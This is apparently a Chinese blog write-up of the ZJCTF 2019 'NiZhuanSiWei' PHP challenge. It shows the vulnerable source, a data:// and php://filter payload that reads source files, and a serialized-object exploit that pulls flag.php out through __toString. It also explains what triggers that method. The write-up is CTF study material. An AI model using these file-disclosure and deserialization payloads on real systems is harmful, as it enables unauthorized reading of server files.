[ZJCTF 2019]NiZhuanSiWei

<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>

虽然有include函数但我们无法直接包含flag因为对file进行了过滤,又看见有反序列化的入口,只是并没有发现可利用的方法,但题目有提示所以尝试将其调出来

看到file_get_contents函数想到使用data协议,去封装一个流,然后保险起见include使用了filter

payload如下:

?text=data://text/plain,welcome to the zjctf&file=php://filter/convert.base64-encode/resource=useless.php

此时我们将获得一串base64

解码获得:

 

 到这一步就是很明显的反序列化了因为比较简单就直接上exp了

<?php
class Flag{  //flag.php  
    public $file = "php://filter/convert.base64-encode/resource=flag.php";  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}

$Flag = new Flag();
echo(serialize($Flag));
?>
//输出:O:4:"Flag":1:{s:4:"file";s:52:"php://filter/convert.base64-encode/resource=flag.php";}

最终payload:

?text=data://text/plain,welcome to the zjctf&file=php://filter/convert.base64-encode/resource=useless.php&password=O:4:"Flag":1:{s:4:"file";s:52:"php://filter/convert.base64-encode/resource=flag.php";}

利用flag类中的file_get_content()来获取最终的flag

**************************************************************************************************************

这里填一个坑 ,这道题在几个平台上都写过但是没有仔细深究过,以至于之后有一个师傅提出问题时我是懵的,强烈谴责一下自己的做题不认真的态度;

ok言归正传,即问题是什么:关于__toString的触发点是什么

如果我们单看解密后的源码可以发现在这串源码中根本无法触发__toString()方法,因为其触发条件为:当一个类被转换为字符串时使用;可在useless.php中根本不可能有这个操作所以显而易见触发点并不在useless.php中;

之后进行了一个小实验(过程就不体现了)

 我们可以看到出发点其实是index中的echo

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值